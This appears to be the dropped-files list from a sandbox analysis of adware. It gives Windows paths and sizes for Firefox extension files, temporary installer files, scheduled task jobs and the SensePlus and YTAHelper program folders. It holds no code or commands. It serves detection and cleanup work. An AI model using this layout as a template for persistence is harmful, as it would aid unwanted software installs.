    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\4f0d055c28b4d3a9aae2be0bdb085d96.js (12 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\browser.xul (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\f62ce475e6053cbe22119298b0035fe2.js (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\b1be85c99f44ca8f43c5ba516e125a21.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\9.js (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\440e93a32e6de314220b3f955dc4413b.js (21 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\0d6dcc8b0791bb740025a005d06f1ad7.js (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\102.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\update.css (144 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\391.js (801 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\1587449daf53efd814da42bb7246b25e.js (7 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\220.js (1592 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\183.js (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\e05ac4b540ab5ebd0eec10b97e5cfd19.js (649 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\354.js (5118 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\288.js (969 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\dialog.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\1b3346eed70aa4ba9da70bfd57e21232.js (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\button2.png (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\64.js (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\7.js (689 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\d9793d6569dc5082a05964df6bb803e9.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\c6f0164f9924ffbfa13c98570493c352.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoBA7A.tmp\setup.exe (1606835 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoBA7A.tmp\NK.lky (16 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoBA7A.tmp\setup1.exe (144456 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoBA79.tmp (154991 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoBA7A.tmp\D1958.dll (30 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoFCE6.tmp\245078 (90704 bytes)
    %Program Files% (x86)\SensePlus\d67956cd-30ae-4a5b-a0d0-0fdb83f39a63-4.exe (8706 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoFCE6.tmp\System.dll (808 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoFCE6.tmp\d67956cd-30ae-4a5b-a0d0-0fdb83f39a63-4.dll (42762 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\installer.js (5 bytes)
    C:\Windows\Tasks\d67956cd-30ae-4a5b-a0d0-0fdb83f39a63-5.job (74 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\ipgeoapi_com[2].json (40 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nstFCB6.tmp (619343 bytes)
    %Program Files% (x86)\SensePlus\utils.exe (62101 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoFCE6.tmp\dkhbofocf.dll (23 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoFCE6.tmp\275719 (3117 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoFCE6.tmp\fkhxrm.dll (29131 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoFCE6.tmp\vmgvmcqqh.dll (14 bytes)
    %Program Files% (x86)\SensePlus\d67956cd-30ae-4a5b-a0d0-0fdb83f39a63.xpi (2321 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoFCE6.tmp\gtexax.dll (3410 bytes)
    %Program Files% (x86)\SensePlus\Uninstall.exe (601 bytes)
    C:\Windows\Tasks\d67956cd-30ae-4a5b-a0d0-0fdb83f39a63-5_user.job (74 bytes)
    %Program Files% (x86)\SensePlus\d67956cd-30ae-4a5b-a0d0-0fdb83f39a63-5.exe (7433 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoFCE6.tmp\mxexzbq.dll (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoFCE6.tmp\tvahk.dll (8 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoFCE6.tmp\lwfjntrs.dll (30 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoFCE6.tmp\xgyszng.dll (13 bytes)
    %Program Files% (x86)\YouTube Accelerator\instlsp.log (253 bytes)
    C:\ProgramData\TEMP:56E2E879 (417 bytes)
    %Program Files% (x86)\YTAHelper\FireFox\content\YTAHelper_64.png (4 bytes)
    %Program Files% (x86)\YTAHelper\FireFox\chrome.manifest (111 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nseC44A.tmp\AccDownload.dll (11667 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nseC44A.tmp\System.dll (23 bytes)
    %Program Files% (x86)\YTAHelper\YTAHelper.exe (32784 bytes)
    %Program Files% (x86)\YTAHelper\FireFox\install.rdf (884 bytes)
    %Program Files% (x86)\YTAHelper\FireFox\content\overlay.js (13 bytes)
    %Program Files% (x86)\YTAHelper\FireFox\content\overlay.xul (203 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nseC44A.tmp\MoreInfo.dll (15 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nseC44A.tmp\nsExec.dll (14 bytes)
    %Program Files% (x86)\YTAHelper\JSDriver\jsdrv.sys (1856 bytes)
    C:\Users\Public\Documents\YTAHelper\JsDriver\Config.xml (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nseC44A.tmp\jsdrv.exe (100669 bytes)
    %Program Files% (x86)\YTAHelper\yta_database1_0_0.json (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoC439.tmp (118586 bytes)
    %Program Files% (x86)\YTAHelper\YTAHelper.dll (13584 bytes)
    %Program Files% (x86)\YTAHelper\JSDriver\jsdrv.exe (100378 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nseC44A.tmp\nsProcess.dll (12 bytes)
    %Program Files% (x86)\YTAHelper\YTAHelper64.dll (16424 bytes)
    %Program Files% (x86)\YTAHelper\FireFox\content\shopperpro_128.png (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\345.js (671 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\65ece654a0cdf35d75dc3a56a3bb76db.js (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\8fb144f928dac035eae99188c9261de6.js (7 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\334.js (973 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\35ab3265e5aa11f2c12e3d44fcc07477.js (14 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\183.js (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\5231061c57a166b4acc126d10ffcf082.js (12 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\39a4e4c3afde14a59de624b58126bc46.js (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\91.js (6772 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\0328fc3104c470fbe5f005e4f4a6dd10.js (22 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\188f68df6f9fef9f95ce6c226ab43637.js (804 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\246.js (15 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\200.js (813 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\195.js (414 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\d8626b8e850277ed7fdf272ecd267e9a.js (804 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\fd49b6a5cdcc59c0250ad972ec3c61af.js (26 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\0ede523e9d62632ae3f184d5b3605ee7.js (964 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\78.js (7 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\d7d940477bf1bdd2a56a714ced795b06.js (357 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\button1.png (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\1.js (22 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\1c08760de6994a9959ec47f5846500ab.js (20 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\bc0778c229379f8027d3759f2e281378.js (12 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\options.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\9e2844c3043a09f82b741a8eec8d39ba.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\crossrider_statusbar.png (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\14.js (808 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\28.js (506 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\7.js (689 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\9a48283b8066b2f4cd723be7b4ae4db0.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\192.js (873 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\6e1957c112649b685e5721870f753aa5.js (804 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\043955574682136ec32b0c147c1258a4.js (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\17.js (2473 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\337.js (413 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\browser.xul (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\56b6cac4c5befd508eb2f8a3f74ca5f0.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\288.js (969 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\281.js (461 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins.json (23 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\e52a82513dd33d52564ba66f0c46733a.js (134 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\manifest.xml (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\panelarrow-up.png (921 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\220.js (1592 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\search_dialog.xul (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\9.js (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\253.js (741 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\028c8aae2333026765398acdc56c10ff.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\636c75f2e801b849f500e085afaa027e.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\4.js (3410 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\64.js (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\22.js (21 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\13.js (14 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\009886072051bd682eedfdfe90d9e174.js (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\4bbe163422a2d1b4846092415a845aff.js (7 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\390.js (829 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\18e34d89c4c271350e03579353e9cf7c.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome.manifest (682 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\182.js (30 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\icon128.png (7 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\3727ba62290da8b6183ea6ceb085db9b.js (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\85af7b4c5e5f68f1e2c8261ee232e486.js (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\47.js (15 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\98.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\button4.png (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\popup.html (353 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\skin.css (949 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\icon24.png (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\update.css (144 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\1e0160fb06a4086bfe07df3553168f3e.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\install.rdf (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\options.xul (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\button3.png (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\button2.png (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\399.js (525 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\242.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\locale\en-US\translations.dtd (429 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\e939a25438965058c7963756aa28c05f.js (947 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\background.html (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\16.js (804 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\177.js (816 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\button5.png (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\userCode\background.js (433 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\7b7d31961b1ea67de090a6e2a732829c.js (21 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\userCode\extension.js (617 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\184.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\47d5f7c8b76dce93f932af5f207ca2a8.js (22 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\8ce268e172382461b69b8f10e06e76e1.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\193.js (873 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\ec5b3c71f8962714ba93bd24997780ec.js (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\b07d86e1b0c9f4091953f61df448331b.js (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\223.js (829 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\7f7ec0434f4123f013c5544ddb5941b7.js (7 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\21.js (7 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\7cf44ac22bf4b7c3bc68d2f185e799c9.js (28 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\72.js (1601 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\defaults\preferences\prefs.js (14 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\391.js (801 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\f7bc805fd8f6504f1821ea354f4a75a0.js (659 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\icon48.png (7 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\7a24ae04610d415b69bdd99a4c33c810.js (7 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\icon16.png (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\180.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\356.js (413 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\dialog.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\354.js (5118 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\ae63195f6b454a3a73ada7efc08c6eb2.js (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\9c2a225828e24e86b6af473d4ccea769.js (618 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\910508cf29ec5b903cd3b4b6f2f92f9c.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\207.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\ffCoreFilesIndex.txt (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\facb12b684bf93962135b84cae42dfa5.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\376.js (23 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\102.js (5 bytes)
